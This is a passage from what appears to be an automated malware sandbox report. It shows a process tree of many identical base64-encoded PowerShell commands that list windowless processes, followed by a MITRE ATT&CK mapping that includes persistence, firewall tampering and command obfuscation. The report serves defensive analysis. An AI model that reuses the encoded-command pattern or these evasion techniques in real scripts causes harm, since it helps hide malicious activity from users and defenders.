    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:1900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:3676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:2040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:3696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:3736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:1020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:3212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:3292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:1104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:2888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:1924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:5308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
    3⤵
    PID:4856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact